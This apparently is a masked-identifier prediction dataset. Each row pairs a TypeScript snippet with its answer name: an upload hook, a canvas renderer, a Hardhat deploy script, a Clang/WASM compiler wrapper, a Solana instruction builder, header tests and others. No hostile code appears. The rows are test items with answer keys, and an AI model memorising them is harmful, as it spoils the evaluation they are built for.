      if (e.target.files && e.target.files.length > 0) {
        addFilesAndUpload(e.target.files) // This is addFilesAndUpload
      }
    },
    [addFilesAndUpload] // addFilesAndUpload is from useCallback
  )

  const openFileDialog = useCallback(() => {
    if (state.isUploadingGlobal && !multiple) return;
    if (!multiple && state.files.length > 0) return; // Prevent opening if single file already selected
    if (inputRef.current) {
      inputRef.current.click()
    }
  }, [state.isUploadingGlobal, state.files.length, multiple])

  const getInputProps = useCallback(
    (props?: InputHTMLAttributes<HTMLInputElement>) => ({
      ...props,
      ref: inputRef,
      type: ""file"",
      onChange: handleFileChange,
      accept: accept,
      multiple: multiple,
      // Disable if global upload is happening (especially for single mode)
      // or if it's single mode and a file is already present.
      disabled: (state.isUploadingGlobal && !multiple) || (!multiple && state.files.length > 0),
      style: { display: ""none"", ...props?.style },
    }),
    [handleFileChange, accept, multiple, state.isUploadingGlobal, state.files.length]
  )

  return [
    state,
    {
      addFiles: addFilesAndUpload, // Expose internal addFilesAndUpload as addFiles
      removeFile,
      clearFiles,
      clearErrors,
      handleDragEnter,
      handleDragLeave,
      handleDragOver,
      handleDrop,
      openFileDialog,
      getInputProps,
    },
  ]
}",found
249,"export class Vector2 {
  x: number
  y: number
  constructor (x: number, y: number) {
    this.x = x
    this.y = y
  }
}

export class Vector3 extends Vector2 {
  z: number
  constructor (x: number, y: number, z: number) {
    super(x, y)
    this.z = z
  }
}

export interface Color {
  r: number
  g: number
  b: number
  a: number
}

export interface GameObject {
  position: Vector3
  radius: number
  color: Color
  extra?: any
}

export class Scene {
  objects: GameObject[] = []
  constructor (objects: GameObject[]) {
    this.objects = objects
  }
}

export class Opts {
  FOV: number
  PROJECTION_CENTER_X: number
  PROJECTION_CENTER_Y: number
  constructor (
    FOV: number,
    PROJECTION_CENTER_X: number,
    PROJECTION_CENTER_Y: number
  ) {
    this.FOV = FOV
    this.PROJECTION_CENTER_X = PROJECTION_CENTER_X
    this.PROJECTION_CENTER_Y = PROJECTION_CENTER_Y
  }
}
export class Renderer {
  Canvas: HTMLCanvasElement
  ctx: CanvasRenderingContext2D
  scene: Scene
  Opts: Opts

  constructor (Canvas: HTMLCanvasElement, Scene: Scene) {
    this.Canvas = Canvas
    this.scene = Scene
    this.ctx = Canvas.getContext('2d') as CanvasRenderingContext2D
    this.Opts = new Opts(
      this.Canvas.width * 1,
      this.Canvas.width / 2,
      this.Canvas.height / 2
    )
  }

  project (object: GameObject) {
    let  [MASK]  = this.Opts.FOV / (this.Opts.FOV + object.position.z)
    const xProject =
      object.position.x *  [MASK]  + this.Opts.PROJECTION_CENTER_X
    const yProject =
      object.position.y *  [MASK]  + this.Opts.PROJECTION_CENTER_Y
    return [xProject, yProject,  [MASK] ]
  }

  draw (object: GameObject) {
    let [xProjected, yProjected, scaleProjected] = this.project(object)
    this.ctx.globalAlpha = Math.abs(1 - object.position.z / this.Opts.FOV)
    if (object.position.z < -this.Opts.FOV + object.radius) {
      return
    }
    this.ctx.fillStyle = `rgba(${object.color.r}, ${object.color.g}, ${object.color.b}, ${object.color.a})`
    this.ctx.fillRect(
      xProjected - object.radius,
      yProjected - object.radius,
      object.radius * 2 * scaleProjected,
      object.radius * 2 * scaleProjected
    )
  }
  render () {
    this.scene.objects.forEach(object => {
      this.draw(object)
    })
  }
}

export class Game {
  fps: number = 60
  scene: Scene
  renderer: Renderer
  Canvas: HTMLCanvasElement
  context: CanvasRenderingContext2D
  constructor (fps: number, Canvas: HTMLCanvasElement) {
    this.fps = fps
    this.scene = new Scene([])
    this.renderer = new Renderer(Canvas, this.scene)
    this.Canvas = Canvas
    this.context = Canvas.getContext('2d') as CanvasRenderingContext2D
  }
  draw () {
    this.context.clearRect(
      0,
      0,
      this.context.canvas.width,
      this.context.canvas.height
    )
    this.scene.objects.sort((a, b) => a.position.z - b.position.z).forEach(object => {
      this.renderer.draw(object)
    })
  }
}
export class KeyLogic {
  keys: { [key: string]: boolean } = {}
  constructor () {
    this.keys = {}
    document.addEventListener('keydown', e => { this.keys[e.keyCode] = true  })
    document.addEventListener('keyup'  , e => { this.keys[e.keyCode] = false })
  }
}
",sizeProjection
250,"
import hre from ""hardhat"";

async function Deployer( [MASK] :string){
    try{
        const ContractFactory = await hre.ethers.getContractFactory( [MASK] ); 
        const risc0VerifierContractAddressSepolia = ""0x925d8331ddc0a1F0d96E68CF073DFE1d92b69187"";
        const risczeroVerifierContractAddressHole = ""0xf70aBAb028Eb6F4100A24B203E113D94E87DE93C"" ; 
        const FibonachiContract = await ContractFactory.deploy(risc0VerifierContractAddressSepolia,825)
        await FibonachiContract.deploymentTransaction()?.wait(3)

        const FibonachiContractAddress = await FibonachiContract.getAddress();
        
        try {
            await hre.run(""verify:verify"", {
                address : FibonachiContractAddress,
                constructorArguments : [risc0VerifierContractAddressSepolia,825]
            })
        }catch(err){
            console.error(""Error during verification:"",err);
            process.exit(1);
        }
        console.log(""Contract deployed to : "",await FibonachiContract.getAddress());
    }catch(err){
        console.error(""Error during deployment:"", err);
        process.exit(1);
    }
}

// After deploy 
// running script 
// npx hardhat run scripts/deploy.ts --network holesky
// npx hardhat run scripts/deployFibonachiVerifier.ts --network holesky
// contract address : 0xF9CB9306C7158978b18BbEfDFfa98852535bd5A4

// Contract address sepolia : 0x4bE39ec6c925954A5Bc95A830814821Ab0E6761D
Deployer(""FibonachiVerifier"");",contractName
251,"import Clang from ""./clang.js"";
import LLD from ""./lld.js"";

export { Clang, LLD };

export type FileList = { [fileName: string]: string | ArrayBuffer };

export type CompilationJob = {
  source: string;
  fileName: string;
  flags: string[];
  extraFiles?: FileList;
};

export type CompilationResult = {
  compileOutput: string;
  module: WebAssembly.Module | null;
};

export type Invocation = {
  compilerArgs: string[];
  compilerArtifact: string;
  linkerArgs: string[];
  linerArtifact: string;
};

export function* tarContents(
  contents: ArrayBuffer
): Generator<{ name: string; content: Uint8Array }> {
  const data = new Uint8Array(contents);
  let offset = 0;

  const textDecoder = new TextDecoder(""utf-8"");

  while (offset + 512 <= data.length) {
    const header = data.slice(offset, offset + 512);
    const name = textDecoder.decode(header.slice(0, 100)).replace(/\0.*$/, """");
    if (!name) break; // two empty blocks mean end of archive

    const sizeOctal = textDecoder
      .decode(header.slice(124, 136))
      .replace(/\0.*$/, """")
      .trim();
    const size = parseInt(sizeOctal, 8) || 0;

    const contentStart = offset + 512;
    const contentEnd = contentStart + size;
    const content = data.slice(contentStart, contentEnd);

    yield { name, content };

    // advance to next file, rounding up to next 512 bytes
    const totalSize = 512 + Math.ceil(size / 512) * 512;
    offset += totalSize;
  }
}

export function setUpSysroot(
  module: any,
  tar: ArrayBuffer,
  extraFiles?: FileList
) {
  for (const { name, content } of tarContents(tar)) {
    if (name.endsWith(""/"")) continue;

    const dirName = name.split(""/"").slice(0, -1).join(""/"");
    if (!module.FS.analyzePath(dirName).exists) {
      module.FS.mkdirTree(dirName);
    }
    module.FS.writeFile(name, content);
  }

  if (extraFiles) {
    for (const [name, content] of Object.entries(extraFiles)) {
      const dirName = name.split(""/"").slice(0, -1).join(""/"");
      module.FS.mkdirTree(dirName);
      if (typeof content === ""string"") {
        module.FS.writeFile(name, content);
      } else {
        module.FS.writeFile(name, new Uint8Array(content));
      }
    }
  }
}

// TODO: Executing the Clang driver just to get the flags is expensive (~80ms).
//       Reimplement the Clang driver's most common options in TS.
export async function getCompilerInvocation(
  inputName: string,
   [MASK] : string,
  flags: string[]
): Promise<Invocation> {
  let stderr = """";
  const clang = await Clang({
    thisProgram: ""clang++"",
    printErr: (data: string) => {
      stderr += data + ""\n"";
    },
  });
  clang.FS.writeFile(inputName,  [MASK] );

  // Set up a dummy sysroot so the compiler driver finds the paths it needs.
  clang.FS.mkdirTree(""/lib/wasm32-wasi"");
  clang.FS.mkdirTree(""/include/c++/v1"");
  clang.FS.writeFile(""/lib/wasm32-wasi/crt1-command.o"", new Uint8Array(0));
  clang.FS.writeFile(""/lib/wasm32-wasi/crt1-reactor.o"", new Uint8Array(0));

  const ret = clang.callMain([inputName, ...flags, ""-###""]);
  if (ret !== 0) {
    console.error(stderr);
    throw new Error(`Clang driver failed with code ${ret}`);
  }

  const lines = stderr.split(""\n"");

  const getArgs = (key: string) => {
    const line = lines.find((line) => line.includes(key)) ?? """";
    const args = line
      .match(/""([^""]*)""/g)!
      .map((s) => s.slice(1, -1))
      .slice(1);
    const oIndex = args.findIndex((arg) => arg === ""-o"");
    return { args, outputFileName: args[oIndex + 1] };
  };

  const cc1line = getArgs(""-cc1"");
  const linkerLine = getArgs(""wasm-ld"");
  return {
    compilerArgs: cc1line.args,
    compilerArtifact: cc1line.outputFileName,
    linkerArgs: linkerLine.args,
    linerArtifact: linkerLine.outputFileName,
  };
}

export async function compile({
  source,
  fileName,
  flags,
  extraFiles,
}: CompilationJob): Promise<CompilationResult> {
  let stderr = """";
  const clangPromise = Clang({
    thisProgram: ""clang++"",
    printErr: (data: string) => {
      stderr += data + ""\n"";
    },
  });
  const lldPromise = LLD({
    thisProgram: ""wasm-ld"",
    printErr: (data: string) => {
      stderr += data + ""\n"";
    },
  });
  const sysroot = await (
    await fetch(new URL(""sysroot.tar"", import.meta.url).href)
  ).arrayBuffer();

  const invocation = await getCompilerInvocation(fileName, source, flags);

  const clang = await clangPromise;
  clang.FS.writeFile(fileName, source);
  setUpSysroot(clang, sysroot, extraFiles);

  let exitCode = clang.callMain(invocation.compilerArgs);

  if (exitCode !== 0) {
    return {
      compileOutput: stderr,
      module: null,
    };
  }

  const binary = clang.FS.readFile(invocation.compilerArtifact, {
    encoding: ""binary"",
  });

  const lld = await lldPromise;
  lld.FS.writeFile(invocation.compilerArtifact, binary);
  setUpSysroot(lld, sysroot, extraFiles);

  exitCode = lld.callMain(invocation.linkerArgs);

  if (exitCode !== 0) {
    return {
      compileOutput: stderr,
      module: null,
    };
  }

  const output: Uint8Array = lld.FS.readFile(invocation.linerArtifact, {
    encoding: ""binary"",
  });

  return {
    compileOutput: stderr,
    module: await WebAssembly.compile(output),
  };
}

const compatibleWithPCH = (flags: string[]) =>
  flags.includes(""-O2"") &&
  flags.includes(""-std=c++20"") &&
  flags.includes(""-fno-exceptions"");

// FIXME: Make PCH flags configurable.
export const getPrecompiledHeader = async (flags: string[]) =>
  compatibleWithPCH(flags)
    ? (await fetch(new URL(""stdc++.h.pch"", import.meta.url).href)).arrayBuffer()
    : null;
",inputFile
252,"import {Service} from ""typedi"";
import {LoggingService} from ""./logging-service"";
import * as fs from 'fs';
import * as path from 'path';

@Service()
export class FileSystemHelper {

  constructor(private readonly _loggingService: LoggingService) {
  }

  createFolderIfNotExist(fullPath: string): boolean {
    if (!fs.existsSync(fullPath)) {
      this._loggingService.trace(`- Creating folder '${fullPath}' ...`);
      fs.mkdirSync(fullPath);
      return true;
    }
    return false;
  }

  writeToFile(data: string, stringify: boolean,  [MASK] : string, relativeOutFolderPath: string): void {
    const fullPath = path.join(__dirname, `${relativeOutFolderPath}/${ [MASK] }`);
    this._loggingService.trace(`Write to file '${fullPath}' ...`);
    fs.writeFileSync(fullPath, stringify ? JSON.stringify(data, null, 2) : data);
  }

  writeToFileA(data: string, stringify: false, absoluteFolderPathName: string): void;
  writeToFileA(data: object, stringify: true, absoluteFolderPathName: string): void;
  writeToFileA(data: string | object, stringify: boolean, absoluteFolderPathName: string): void {
    this._loggingService.trace(`Write to file '${absoluteFolderPathName}' ...`);
    fs.writeFileSync(absoluteFolderPathName, stringify ? JSON.stringify(data, null, 2) : data as string);
  }
}
",fileName
253,"/* eslint-disable @typescript-eslint/no-unused-vars */
import {
  Address,
  isSome,
  IAccountMeta,
  IAccountSignerMeta,
  IInstruction,
  Option,
  TransactionSigner,
} from ""@solana/kit""
/* eslint-enable @typescript-eslint/no-unused-vars */
import BN from ""bn.js"" // eslint-disable-line @typescript-eslint/no-unused-vars
import * as borsh from ""@coral-xyz/borsh"" // eslint-disable-line @typescript-eslint/no-unused-vars
import { borshAddress } from ""../utils"" // eslint-disable-line @typescript-eslint/no-unused-vars
import * as types from ""../types"" // eslint-disable-line @typescript-eslint/no-unused-vars
import { PROGRAM_ID } from ""../programId""

export interface SwapUnevenVaultsArgs {
  targetLimitBps: BN
}

export interface SwapUnevenVaultsAccounts {
  actionsAuthority: TransactionSigner
  strategy: Address
  globalConfig: Address
  tokenAVault: Address
  tokenBVault: Address
  tokenAMint: Address
  tokenBMint: Address
  baseVaultAuthority: Address
  pool: Address
  position: Address
  raydiumPoolConfigOrBaseVaultAuthority: Address
  poolTokenVaultA: Address
  poolTokenVaultB: Address
  /** Payer must send this correctly. */
  tickArray0: Address
  /** Payer must send this correctly. */
  tickArray1: Address
  /** Payer must send this correctly. */
  tickArray2: Address
  oracle: Address
  poolProgram: Address
  scopePrices: Address
  tokenInfos: Address
  tickArrayLower: Address
  tickArrayUpper: Address
  tokenATokenProgram: Address
  tokenBTokenProgram: Address
  memoProgram: Address
  tokenProgram: Address
  tokenProgram2022: Address
  instructionSysvarAccount: Address
  consensusAccount: Address
  eventAuthority: Option<Address>
}

export const layout = borsh.struct([borsh.u64(""targetLimitBps"")])

export function swapUnevenVaults(
  args: SwapUnevenVaultsArgs,
  accounts: SwapUnevenVaultsAccounts,
  programAddress: Address = PROGRAM_ID
) {
  const keys: Array<IAccountMeta | IAccountSignerMeta> = [
    {
      address: accounts.actionsAuthority.address,
      role: 3,
      signer: accounts.actionsAuthority,
    },
    { address: accounts.strategy, role: 1 },
    { address: accounts.globalConfig, role: 0 },
    { address: accounts.tokenAVault, role: 1 },
    { address: accounts.tokenBVault, role: 1 },
    { address: accounts.tokenAMint, role: 0 },
    { address: accounts.tokenBMint, role: 0 },
    { address: accounts.baseVaultAuthority, role: 1 },
    { address: accounts.pool, role: 1 },
    { address: accounts.position, role: 1 },
    { address: accounts.raydiumPoolConfigOrBaseVaultAuthority, role: 0 },
    { address: accounts.poolTokenVaultA, role: 1 },
    { address: accounts.poolTokenVaultB, role: 1 },
    { address: accounts.tickArray0, role: 1 },
    { address: accounts.tickArray1, role: 1 },
    { address: accounts.tickArray2, role: 1 },
    { address: accounts.oracle, role: 1 },
    { address: accounts.poolProgram, role: 0 },
    { address: accounts.scopePrices, role: 0 },
    { address: accounts.tokenInfos, role: 0 },
    { address: accounts.tickArrayLower, role: 0 },
    { address: accounts.tickArrayUpper, role: 0 },
    { address: accounts.tokenATokenProgram, role: 0 },
    { address: accounts.tokenBTokenProgram, role: 0 },
    { address: accounts.memoProgram, role: 0 },
    { address: accounts.tokenProgram, role: 0 },
    { address: accounts.tokenProgram2022, role: 0 },
    { address: accounts.instructionSysvarAccount, role: 0 },
    { address: accounts.consensusAccount, role: 0 },
    isSome(accounts.eventAuthority)
      ? { address: accounts.eventAuthority.value, role: 0 }
      : { address: programAddress, role: 0 },
  ]
  const identifier = Buffer.from([143, 212, 101, 95, 105, 209, 184, 1])
  const  [MASK]  = Buffer.alloc(1000)
  const len = layout.encode(
    {
      targetLimitBps: args.targetLimitBps,
    },
     [MASK] 
  )
  const data = Buffer.concat([identifier,  [MASK] ]).slice(0, 8 + len)
  const ix: IInstruction = { accounts: keys, programAddress, data }
  return ix
}
",buffer
254,"import type { API, Characteristic, DynamicPlatformPlugin, Logging, PlatformAccessory, PlatformConfig, Service } from 'homebridge';
import { SwitchAccessory } from './switch-accessory.js';
import { PLATFORM_NAME, PLUGIN_NAME } from './const.js';
import type { PushoverNotificationConfig } from './types.js';
import { PushoverClient } from './pushover-client.js';

export class PushoverNotificationPlatform implements DynamicPlatformPlugin {
  readonly Service: typeof Service;
  readonly Characteristic: typeof Characteristic;

  private readonly accessories: Map<string, PlatformAccessory> = new Map();
  private readonly discoveredCacheUUIDs: string[] = [];

  constructor(
    readonly log: Logging,
    readonly config: PlatformConfig,
    readonly api: API,
  ) {
    this.Service = api.hap.Service;
    this.Characteristic = api.hap.Characteristic;

    if (!config.token) {
      this.log.error('Pushover API token must be configured');
      return;
    }
    if (!config.user) {
      this.log.error('Pushover user key must be configured');
      return;
    }

    this.log.debug('Finished initializing platform:', config.name);

    this.api.on('didFinishLaunching', () => {
      log.debug('Registering accessories...');
      this.registerAccessories();
    });
  }

  configureAccessory(accessory: PlatformAccessory) {
    this.log.debug('Loading accessory from cache:', accessory.displayName);

    this.accessories.set(accessory.UUID, accessory);
  }

  private registerAccessories() {
    const config = this.config as PushoverNotificationConfig;

    const  [MASK]  = new PushoverClient(config.token, config.user, this.log);
    
    for (const message of config.messages) {
      const uuid = this.api.hap.uuid.generate(message.name);

      const existingAccessory = this.accessories.get(uuid);

      if (existingAccessory) {
        this.log.debug('Restoring existing accessory from cache:', existingAccessory.displayName);

        new SwitchAccessory(this, existingAccessory,  [MASK] , message);
      } else {
        this.log.debug('Adding new accessory:', message.name);

        const accessory = new this.api.platformAccessory(message.name, uuid);

        new SwitchAccessory(this, accessory,  [MASK] , message);

        this.api.registerPlatformAccessories(PLUGIN_NAME, PLATFORM_NAME, [accessory]);
      }

      this.discoveredCacheUUIDs.push(uuid);
    }

    for (const [uuid, accessory] of this.accessories) {
      if (!this.discoveredCacheUUIDs.includes(uuid)) {
        this.log.debug('Removing existing accessory from cache:', accessory.displayName);
        this.api.unregisterPlatformAccessories(PLUGIN_NAME, PLATFORM_NAME, [accessory]);
      }
    }
  }
}
",pushoverClient
255,"import { Injectable } from '@angular/core';
import { Plugins, CameraResultType, Capacitor, FilesystemDirectory, CameraPhoto, CameraSource } from '@capacitor/core';

const {Camera, Filesystem, Storage} = Plugins;

@Injectable({
  providedIn: 'root'
})

export class PhotoService {
  public photos: Photo[] = [];
  private PHOTO_STORAGE = 'photos';

  constructor() { }

  public async addNewToGallery() {
    const  [MASK]  = await Camera.getPhoto(
      {
        resultType: CameraResultType.Uri,
        source: CameraSource.Camera,
        quality: 100
      });
    const savedImage = await this.savePicture( [MASK] );
    this.photos.unshift(savedImage);
    Storage.set({
        key: this.PHOTO_STORAGE,
        value: JSON.stringify(this.photos)
      });
  }

  public async loadSaved() {
    const photoList = await Storage.get({key: this.PHOTO_STORAGE});
    this.photos = JSON.parse(photoList.value) || [];
    for (let photo of this.photos){
      const readFile = await Filesystem.readFile(
        {
          path: photo.filepath,
          directory: FilesystemDirectory.Data
        }
      );
      photo.webviewPath = `data:image/jpeg;base64,${readFile.data}`;
    }
  }
  private async savePicture(cameraPhoto: CameraPhoto){
    const base64Data = await this.readAsBase64(cameraPhoto);
    const fileName = new Date().getTime() + '.jpeg';
    const savedFile = await Filesystem.writeFile({
      path: fileName,
      data: base64Data,
      directory: FilesystemDirectory.Data
    });
    return{
      filepath: fileName,
      webviewPath: cameraPhoto.webPath
    };
  }
  private async readAsBase64(cameraPhoto: CameraPhoto) {
    const response = await fetch(cameraPhoto.webPath);
    const blob = await response.blob();
    return await this.convertBlobToBase64(blob) as string;
  }

  convertBlobToBase64 = (blob: Blob) => new Promise((resolve, reject) => {
    const reader = new FileReader();
    reader.onerror = reject;
    reader.onload = () => {
    resolve(reader.result);
    };
    return reader.readAsDataURL(blob);
  })
}

export interface Photo{
  filepath: string;
  webviewPath: string;
}
",capturedPhoto
256,"import { BrowserHeaders } from ""../src/BrowserHeaders"";
import { getHeaderValues } from ""../src/util"";

const { deepEqual, ok } = require(""assert"");

declare function describe(name: string, test: () => void): void;
declare function it(name: string, test: () => void): void;

// Declare that there is a global property named ""Headers""
declare const Headers: any;

interface Map<K, V> {
  clear(): void;
  delete(key: K): boolean;
  forEach(callbackfn: (value: V, index: K, map: Map<K, V>) => void, thisArg?: any): void;
  get(key: K): V | undefined;
  has(key: K): boolean;
  set(key: K, value?: V): this;
  readonly size: number;
}

interface MapConstructor {
  new (): Map<any, any>;
  new <K, V>(entries?: [K, V][]): Map<K, V>;
  readonly prototype: Map<any, any>;
}

declare const Map: MapConstructor;

describe(""browser-headers"", () => {
  it(""should parse a CLRF-delimited header string"", () => {
    const browserHeaders = new BrowserHeaders(""keya: one\r\nkeyb: Two\r\nkeyC: three"");
    deepEqual(browserHeaders.get(""keyA""), [""one""]);
    deepEqual(browserHeaders.get(""keyB""), [""Two""]);
    deepEqual(browserHeaders.get(""keyC""), [""three""]);
  });

  it(""should construct from an object"", () => {
    const browserHeaders = new BrowserHeaders({
      ""keyA"": [""one"", ""Two""],
      ""keyb"": ""three""
    });
    deepEqual(browserHeaders.get(""keyA""), [""one"", ""Two""]);
    deepEqual(browserHeaders.get(""keyB""), [""three""]);
  });

  it(""should construct from an instance of BrowserHeaders"", () => {
    const  [MASK]  = new BrowserHeaders({
      ""keyA"": [""one"", ""Two""],
      ""keyb"": ""three""
    });

    const browserHeaders = new BrowserHeaders( [MASK] );
    deepEqual(browserHeaders.get(""keyA""), [""one"", ""Two""]);
    deepEqual(browserHeaders.get(""keyB""), [""three""]);
  });

  it(""should retain multiple values for a single key"", () => {
    const browserHeaders = new BrowserHeaders();
    browserHeaders.append(""keyA"", ""one"");
    browserHeaders.append(""keyA"", ""Two"");
    deepEqual(browserHeaders.get(""keyA""), [""one"", ""Two""]);
  });

  describe(""set"", () => {
    it(""should set an individual value"", () => {
      const browserHeaders = new BrowserHeaders();
      browserHeaders.set(""keyA"", ""one"");
      deepEqual(browserHeaders.get(""keyA""), [""one""]);
      browserHeaders.set(""keyA"", ""Two"");
      deepEqual(browserHeaders.get(""keyA""), [""Two""]);
    });

    it(""should set an array of values"", () => {
      const browserHeaders = new BrowserHeaders();
      browserHeaders.set(""keyA"", [""one"", ""Two""]);
      deepEqual(browserHeaders.get(""keyA""), [""one"", ""Two""]);
      browserHeaders.set(""keyA"", [""three"", ""four""]);
      deepEqual(browserHeaders.get(""keyA""), [""three"", ""four""]);
    });
  });

  describe(""append"", () => {
    it(""should append an individual value"", () => {
      const browserHeaders = new BrowserHeaders();
      browserHeaders.append(""keyA"", ""one"");
      browserHeaders.append(""keyA"", ""Two"");
      deepEqual(browserHeaders.get(""keyA""), [""one"", ""Two""]);
    });

    it(""should append an array of values"", () => {
      const browserHeaders = new BrowserHeaders();
      browserHeaders.append(""keyA"", [""one"", ""Two""]);
      browserHeaders.append(""keyA"", [""three"", ""four""]);
      deepEqual(browserHeaders.get(""keyA""), [""one"", ""Two"", ""three"", ""four""]);
    });
  });

  describe(""appendFromString"", () => {
    it(""should parse the headers string"", () => {
      const browserHeaders = new BrowserHeaders();
      browserHeaders.appendFromString(""keya: one\r\nkeyb: Two\r\nkeyC: three"");
      deepEqual(browserHeaders.get(""keyA""), [""one""]);
      deepEqual(browserHeaders.get(""keyB""), [""Two""]);
      deepEqual(browserHeaders.get(""keyC""), [""three""]);
    });

    it(""should append to existing values"", () => {
      const browserHeaders = new BrowserHeaders();
      browserHeaders.append(""keyA"", [""one"", ""Two""]);
      browserHeaders.append(""keyB"", ""four"");
      browserHeaders.appendFromString(""keya: three\r\nkeyb: Five\r\nkeyC: six"");
      deepEqual(browserHeaders.get(""keyA""), [""one"", ""Two"", ""three""]);
      deepEqual(browserHeaders.get(""keyb""), [""four"", ""Five""]);
      deepEqual(browserHeaders.get(""keyC""), [""six""]);
    });
  });

  describe(""delete"", () => {
    it(""should remove a key"", () => {
      const browserHeaders = new BrowserHeaders();
      browserHeaders.append(""keyA"", [""one"", ""Two""]);
      deepEqual(browserHeaders.get(""keyA""), [""one"", ""Two""]);
      browserHeaders.delete(""keyA"");
      deepEqual(browserHeaders.get(""keyA""), []);
    });

    it(""should not throw an error when removing a key that is not present"", () => {
      const browserHeaders = new BrowserHeaders();
      browserHeaders.delete(""keyA"");
    });

    it(""should remove a value within a key"", () => {
      const browserHeaders = new BrowserHeaders();
      browserHeaders.append(""keyA"", [""one"", ""Two"", ""three""]);
      deepEqual(browserHeaders.get(""keyA""), [""one"", ""Two"", ""three""]);
      browserHeaders.delete(""keyA"", ""Two"");
      deepEqual(browserHeaders.get(""keyA""), [""one"", ""three""]);
    });

    it(""should not throw an error when removing a value of a key that is not present"", () => {
      const browserHeaders = new BrowserHeaders();
      browserHeaders.delete(""keyA"", ""Two"");
    });

    it(""should not throw an error when removing a non-existant value of a key that is present"", () => {
      const browserHeaders = new BrowserHeaders();
      browserHeaders.append(""keyA"", [""one"", ""three""]);
      browserHeaders.delete(""keyA"", ""Two"");
    });
  });

  describe(""has"", () => {
    it(""should return true for an existing key"", () => {
      const browserHeaders = new BrowserHeaders();
      browserHeaders.append(""keyA"", [""one"", ""Two""]);
      deepEqual(browserHeaders.get(""keyA""), [""one"", ""Two""]);
      deepEqual(browserHeaders.has(""keyA""), true);
    });

    it(""should return false for a non-existing key"", () => {
      const browserHeaders = new BrowserHeaders();
      deepEqual(browserHeaders.has(""keyA""), false);
    });

    it(""should return true for an existing value"", () => {
      const browserHeaders = new BrowserHeaders();
      browserHeaders.append(""keyA"", [""one"", ""Two""]);
      deepEqual(browserHeaders.has(""keyA"", ""Two""), true);
    });

    it(""should return false for a non-existing value within a key"", () => {
      const browserHeaders = new BrowserHeaders();
      browserHeaders.append(""keyA"", [""one"", ""Two""]);
      deepEqual(browserHeaders.has(""keyA"", ""three""), false);
    });

    it(""should return false for a value within a non-existant key"", () => {
      const browserHeaders = new BrowserHeaders();
      deepEqual(browserHeaders.has(""keyA"", ""three""), false);
    });

    it(""should return false for a key that was deleted"", () => {
      const browserHeaders = new BrowserHeaders();
      browserHeaders.append(""keyA"", [""one"", ""Two""]);
      browserHeaders.delete(""keya"");
      deepEqual(browserHeaders.has(""keyA""), false);
    });

    it(""should return false for a key that was deleted by emptying it's keys"", () => {
      const browserHeaders = new BrowserHeaders();
      browserHeaders.append(""keyA"", [""one"", ""Two""]);
      browserHeaders.delete(""keya"", ""one"");
      browserHeaders.delete(""keya"", ""Two"");
      deepEqual(browserHeaders.has(""keyA""), false);
    });
  });

  describe(""forEach"", () => {
    it(""should append an individual value"", () => {
      const browserHeaders = new BrowserHeaders();
      browserHeaders.append(""keyA"", [""one"", ""Two""]);
      browserHeaders.append(""keyB"", [""three"", ""four""]);
      const visited: string[] = [];
      browserHeaders.forEach((key: string, values: string[]) => {
        visited.push(key + ""."" + values.join("",""));
      });
      deepEqual(visited, [
        ""keya.one,Two"",
        ""keyb.three,four"",
      ]);
    });
  });

  // Can only test the Headers compatibility if there is a Headers class in this browser
  if (typeof Headers !== ""undefined"") {
    describe(""Headers-compatibility"", () => {
      it(""should construct a BrowserHeaders from a Headers instance and not split the values by default"", () => {
        const headers = new Headers();
        headers.append(""keyA"", ""one, Two"");
        headers.append(""keyB"", ""three"");

        const browserHeaders = new BrowserHeaders(headers);
        deepEqual(browserHeaders.get(""keyA""), [""one, Two""]);
        deepEqual(browserHeaders.get(""keyB""), [""three""]);
      });

      it(""should construct a BrowserHeaders from a Headers instance and split the values if specified (comma)"", () => {
        const headers = new Headers();
        headers.append(""keyA"", ""one,Two"");
        headers.append(""keyB"", ""three"");

        const browserHeaders = new BrowserHeaders(headers, {splitValues: true});
        deepEqual(browserHeaders.get(""keyA""), [""one"", ""Two""]);
        deepEqual(browserHeaders.get(""keyB""), [""three""]);
      });

      it(""should construct a BrowserHeaders from a Headers instance and split the values if specified (comma + space)"", () => {
        const headers = new Headers();
        headers.append(""keyA"", ""one, Two"");
        headers.append(""keyB"", ""three"");

        const browserHeaders = new BrowserHeaders(headers, {splitValues: true});
        deepEqual(browserHeaders.get(""keyA""), [""one"", ""Two""]);
        deepEqual(browserHeaders.get(""keyB""), [""three""]);
      });

      /* This test uses separate append calls for `keyA`, which in some browsers joins the strings with a comma. By
       setting splitValues to true, this test checks that this browser-specific detail can be abstracted. */
      it(""should construct a BrowserHeaders from a Headers instance and split the values if specified - separate appends"", () => {
        const headers = new Headers();
        headers.append(""keyA"", ""one"");
        headers.append(""keya"", ""Two"");
        headers.append(""keyB"", ""three"");

        const browserHeaders = new BrowserHeaders(headers, {splitValues: true});
        deepEqual(browserHeaders.get(""keyA""), [""one"", ""Two""]);
        deepEqual(browserHeaders.get(""keyB""), [""three""]);
      });

      describe(""toHeaders"", () => {
        it(""should return a Headers instance that contains the same headers"", () => {
          const browserHeaders = new BrowserHeaders({
            ""keyA"": [""one"", ""Two""],
            ""keyB"": ""three""
          });
          const headers = browserHeaders.toHeaders();
          const keyA = getHeaderValues(headers, ""keyA"");

          // The value of keyA is one of [""one"", ""Two""], [""one,Two""] or [""one, Two""] depending on whether or not the
          // `.append` function of the current browser's Header class concatenates and what it joins by.

          // Join the array by "", "" so that the value(s) should now be either separated by "", "" or just "",""
          const keyAString = keyA.join("", "");
          ok(keyAString === ""one, Two"" || keyAString === ""one,Two"");
          deepEqual(getHeaderValues(headers, ""keyB""), [""three""]);
        });

        it(""should be compatible with fetch"", () => {
          const browserHeaders = new BrowserHeaders({
            ""keyA"": [""one"", ""Two""],
            ""keyB"": ""three""
          });
          const headers = browserHeaders.toHeaders();
          const promise = fetch(""http://127.0.0.1"", {
            headers: headers,
          });
          ok(promise, ""promise is returned"");
        });
      });
    });
  }

  // Can only test the Map compatibility if there is a Map class in this browser
  if (typeof Map !== ""undefined"") {
    describe(""Headers-compatibility"", () => {
      it(""should construct a BrowserHeaders from a Map"", () => {
        const map = new Map<string, string|string[]>();
        map.set(""keyA"", [""one"", ""Two""]);
        map.set(""keyB"", ""three"");

        const browserHeaders = new BrowserHeaders(map);
        deepEqual(browserHeaders.get(""keyA""), [""one"", ""Two""]);
        deepEqual(browserHeaders.get(""keyB""), [""three""]);
      });
    });
  }
});",toInit
257,"import Fastify from ""fastify"";
import alertRoutes from ""../feature/alert/routes/alert.routes"";
import cors from ""@fastify/cors"";
import helmet from ""@fastify/helmet"";

jest.mock(""fastify"");
jest.mock(""@fastify/cors"");
jest.mock(""@fastify/helmet"");
jest.mock(""../feature/alert/routes/alert.routes"");
jest.mock(""../feature/alert/service/priceCheck.service"");
jest.mock(""../core/config"", () => ({
